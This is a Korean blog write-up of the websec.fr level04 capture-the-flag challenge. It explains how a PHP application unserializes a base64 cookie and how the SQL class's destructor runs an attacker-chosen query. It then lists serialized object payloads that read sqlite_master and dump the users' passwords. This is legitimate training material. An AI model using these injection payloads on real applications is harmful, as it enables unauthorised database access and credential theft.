반응형

PHP Object Injection에 대해 공부를 해보고 이에 대한 문제를 풀어보고자 websec에서 관련된 문제 중 가장 쉬운 문제를 풀어보았다.


처음 접하는 분들이 어떤 flow로 exploit이 되는지 이해하는데 도움이 되었으면 한다.


해당 문제 링크는 아래와 같다.

http://websec.fr/level04/index.php


문제에 접근하면 소스코드 2개를 볼 수 있다.

해당 소스코드를 분석해본 결과 unserilizse와 serialize가 보이는 것으로 보아 PHP Object Injection 기법을 이용하는 문제이지 않을까 하였다.


그래서 조금씩 분석을 해보았다.


if (isset ($_COOKIE['leet_hax0r'])) {
    
$sess_data unserialize (base64_decode ($_COOKIE['leet_hax0r']));
    try {
        if (
is_array($sess_data) && $sess_data['ip'] != $_SERVER['REMOTE_ADDR']) {
            die(
'CANT HACK US!!!');
        }
    } catch(
Exception $e) {
        echo 
$e;
    }
} else {
    
$cookie base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
    
setcookie ('leet_hax0r'$cookietime () + (86400 30));
}


첫번째 소스코드부분의 일부이다.

일단 leet_hax0r 이라는 쿠키값이 세팅되어있으면 해당 값을 base64로 디코딩진행 후 unserialize한다. 따라서 leet_hax0r라는 쿠키가 공격 point임을 알 수 있다.


그렇다면 해당 부분을 이용하여 어떤 식으로 진행해야할까?

소스코드의 윗부분을 보면 아래와 같은 코드가 존재한다.


$sql = new SQL();
$sql->connect();

$sql->query 'SELECT username FROM users WHERE id=';


즉 SQL이라는 Object를 하나 생성 후 sql이라는 변수에 담아준 뒤 connect() 함수를 실행시키고 query라는 property에 SQL 쿼리를 선언해주고 있다.



if (isset ($_REQUEST['id']) && is_numeric ($_REQUEST['id'])) {
    try {
        
$sql->query .= $_REQUEST['id'];
    } catch(
Exception $e) {
        echo 
' Invalid query';
    }

}

그리고 마지막 소스코드의 마지막 부분을 보면 id라는 값을 받아 query의 끝에 붙여주는 것을 볼 수 있다.


여기서 의문점이 든다.

쿼리 실행하는 것이 보이지 않는데 쿼리 실행결과를 어디서 가져오는 것일까?

그건 바로 두번째 소스코드를 보면 알 수 있다.


class SQL {
    public 
$query '';
    public 
$conn;
    public function 
__construct() {
    }
    
    public function 
connect() {
        
$this->conn = new SQLite3 ("database.db"SQLITE3_OPEN_READONLY);
    }

    public function 
SQL_query($query) {
        
$this->query $query;
    }

    public function 
execute() {
        return 
$this->conn->query ($this->query);
    }

    public function 
__destruct() {
        if (!isset (
$this->conn)) {
            
$this->connect ();
        }
        
        
$ret $this->execute ();
        if (
false !== $ret) {    
            while (
false !== ($row $ret->fetchArray (SQLITE3_ASSOC))) {
                echo 
'<p class="well"><strong>Username:<strong> ' $row['username'] . '</p>';
            }
        }
    }

}


마지막에 선언된 __destruct() 함수는 클래스의 소멸자로서 해당 Object의 모든 참조가 삭제되거나 명시적으로 파기되었을 때 호출된다.


즉, 첫번째 소스코드에서 코드가 끝나며 생성된 SQL이라는 Object가 파기되면서 __destruct() 함수가 실행되는 것이다.


그러므로 현재 세팅되어 있는 leet_hax0r을 변조하여 sql 쿼리를 우리가 원하는 대로 바꿔주면 flag를 얻을 수 있는 것이다.


테스트를 해보기 위해 아래와 같은 값을 base64 encoding하여 leet_hax0r 에 넣은 뒤 User id 부분에 임의의 숫자를 입력하고 [Go]를 눌러보았다.. 

O:3:"SQL":1:{s:5:"query";s:20:"select 1 as username";}


그 결과 우리가 원하는대로 1이 출력됨을 볼 수 있다.

해당 값의 하나하나 분석은 아래의 링크를 참고하길 바란다.

https://blog.ripstech.com/2018/php-object-injection/


여기서 쿼리의 마지막에 as username이라고 해준 이유는 2번째 소스코드 확인해보면 쿼리의 결과 중 username에 대한 값을 출력해주기 때문이다.


이제 Flag를 얻기 위해 아래의 값을 base64 encoding한 뒤 실행시키면 flag를 얻을 수 있다.


O:3:"SQL":1:{s:5:"query";s:42:"select name as username from sqlite_master";}


O:3:"SQL":1:{s:5:"query";s:64:"select sql as username from sqlite_master where tbl_name='users'";}


O:3:"SQL":1:{s:5:"query";s:38:"select password as username from users";}


그 결과 FLAG를 확인할 수 있다.

반응형

'Hacking > Web' 카테고리의 다른 글

[websec.fr] level 25 writeup with parse_url bug  (0) 2019.04.07
[WebSec.fr] level 17 writeup  (0) 2019.03.28
WAS별 default로 허용되어있는 jsp 관련 확장자  (0) 2019.03.26
SQL Injection in SQLite3  (0) 2019.03.17
Node.JS  (0) 2019.03.03
블로그 이미지

rootable

,